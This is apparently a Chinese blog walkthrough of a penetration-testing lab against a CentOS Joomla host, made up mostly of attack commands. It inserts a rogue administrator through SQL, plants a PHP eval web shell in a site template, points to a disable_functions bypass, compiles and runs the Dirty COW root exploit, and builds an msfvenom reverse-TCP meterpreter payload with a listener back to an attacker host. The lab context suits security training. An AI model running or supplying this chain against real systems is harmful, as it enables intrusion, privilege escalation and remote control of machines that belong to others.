文章参考
https://blog.csdn.net/weixin_46684578/article/details/118685782
https://blog.csdn.net/weixin_48169878/article/details/125773366
https://cloud.tencent.com/developer/article/2016323
靶场搭建
添加一个自定义配置为
然后对出网机centos重新加载网卡
1
| /ect/init.d/network restart
|
搭建完成
靶场实战
信息收集
本次靶场出网机为centos
直接进去获取IP得 192.168.123.41
访问发现有80端口有服务
直接上awvs扫描漏洞
同时用nmap进行端口扫描
1
| nmap -A 192.168.123.41 -p-
|
扫描出了5个端口分别为
awvs扫描出了配置文件泄露,泄露了数据库的用户名和密码
还顺便扫出了后台地址/administrator/
找到了后台先试试看弱口令,爆破失败
那既然3306端口是开放的,又有账户和密码那直接上数据库添加用户
使用数据库工具成功连接了数据库
找到了am2zu_users的表有一个管理员账号,但是是密文存储
通过上网查阅Joomla密码加密相关资料,发现密码是经过了password_hash($password, PASSWORD_BCRYPT);加密,并且未找到对应的解密方案
但是Joomla官方文档,上面有介绍到可以通过数据库直接插入来添加管理员账号
1 2 3 4 5 6 7 8 9
| //https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn //其中下面sql语句中的jos31需要换成你实际的表前缀 INSERT INTO `jos31_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8'); //执行完这两条语句之后,我们就添加成功了一个管理员用户(账号:admin2,密码:secret)
|
成功进入后台
getshell
进入网站模板
创建文件,直接创建一个shell.php
1
| <?php eval($_POST['a']); ?>
|
创建成功
shell.php和index.php是同一路径,因此知道index.php的路径即可
猜测路径为
1
| /templates/beez3/shell.php
|
成功连接
尝试使用虚拟终端
查看一下PHPinfo,发现命令执行被禁用
怎么办呢,有两种方法
第一种
下载绕过disable_funtions 的payload
https://github.com/MrAnonymous-1/disable_functions
将exploit1.php上传到web服务器的指定目录下
1 2 3
| POST: cmd=<command> // <command>为要执行的系统命令 // 例如:cmd=ipconfig
|
第二种
/tmp/mysql/下发现一个test.txt文件
得到了账号密码直接连接ssh
登陆成功
权限提升
查看权限
发现权限太低只是一个普通用户
使用脏牛漏洞(CVE-2016-5195)进行提权
低于以下版本表示存在脏牛漏洞(CVE-2016-5195)
1 2 3 4 5 6 7
| Centos7 /RHEL7 3.10.0-327.36.3.el7 Cetnos6/RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1+deb8u2 Debian 7 3.2.82-1
|
[工具包]https://gitcode.net/mirrors/FireFart/dirtycow
然后下载藏牛工具包,这里我们有ssh可以直接利用ftp上传,如果没有的话也可以
上传到kali,开启http服务,靶机下载解压
1 2 3 4 5
| kail : python3 -m http.server 8000
靶机:wget http:
靶机:unzip dirtycow.github.io-master.zip -d zangniu
|
然后执行提权脚本
1 2 3 4 5 6 7
| # gcc -pthread dirty.c -o dirty -lcrypt #./dirty root #rm -f /tmp/passwd.bak #./dirty root
|
执行结束之后创建了一个新用户firefart,密码为root,这个用户拥有root权限
内网渗透
通过icmp方式查看内网主机存活情况
1
| for i in 192.168.93.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
|
使用msf建立监听
方法1
在msf上生成木马传到目标机器执行上线
生成木马
1 2
| msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.169.80.128 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf > shell.elf
|
然后用ssh上传到centos
然后在msf开启监听
1 2 3 4 5
| msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost <MSF_IP> msf6 exploit(multi/handler) > set lport <MSF_Port> msf6 exploit(multi/handler) > exploit
|
开启监听之后 在centos执行shell.elf即可建立监听
方法2
一条命令上线